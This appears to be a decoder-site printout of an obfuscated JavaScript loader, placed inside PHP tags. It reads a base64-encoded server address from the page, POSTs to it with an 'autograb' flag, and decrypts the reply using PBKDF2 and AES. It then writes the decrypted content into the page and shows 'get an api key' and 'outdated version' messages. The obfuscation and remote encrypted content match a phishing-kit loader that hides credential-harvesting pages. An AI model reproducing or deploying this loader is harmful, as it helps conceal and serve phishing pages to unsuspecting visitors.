PHP Decode

<?  var v0868ccb5ff1208= document.createElement('script'); 
var autograb = 0; 
v0868ccb5ff1208.setAttribute('src',atob("aHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuMS4xLm1pbi5qcw==")); 
document.head.append(v0868ccb5ff1208); 
 
var vbf46ff3a= document.createElement('script'); 
vbf46ff3a.setAttribute('src',"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"); 
document.head.append(vbf46ff3a); 
 
v0868ccb5ff1208.onload=function(){ 
$.support.cors = true 
var v107 = atob; 
var v6230e1cc = "".split; 
var v7f = [].constructor.constructor(v107("cmV0dXJuIENyeXB0b0pT")); 
var vf58e668c78602540f4 = v107($('#b64u').val()); 
$.post(vf58e668c78602540f4,'scte='.concat('') + (autograb == 0 ? '&auto=false' : '')) 
	.done(function(v21b4df57){ 
	function vabedcf67(f){ 
			var O00O1II = v6230e1cc.apply(v107(f),[String.fromCharCode(42)]); 
			var O000111 = { 
				OO0O1II: O00O1II[0], 
				OO0OII1: O00O1II[2], 
				OOOOII1 : O00O1II[1], 
				OO0OIII: O00O1II[3], 
			}  
			var OOOOIII = v7f().PBKDF2(O000111.OO0OIII, v7f().enc.Hex.parse(O000111.OO0OII1), { hasher: v7f().algo.SHA512, keySize: 64/8, iterations: 999}); 
			var O00O111 = v7f().AES.decrypt(O000111.OO0O1II, OOOOIII, { iv: v7f().enc.Hex.parse(O000111.OOOOII1)}); 
			return O00O111.toString(v7f().enc.Utf8); 
	} 
     if(v21b4df57=='no'){ 
	   document.write('<h1>Please Get an api key to use this page</h1>') 
	 } 
	 else if(v21b4df57 == "outdated"){ 
		 document.write('<h1>Please get an updated  version of the page</h1>') 
	 } 
	 else{ 
		 try{ 
			 document.write(v107(vabedcf67(v21b4df57))); 
		 }catch(e){ 
			 document.write('<h1>Cannot write to page</h1>') 
		 } 
	 } 
	}) 
	.fail(function(cd,pg){ 
		document.write("<h1>Unable to connect , Server not found</h1>") 
	}) 
} ?>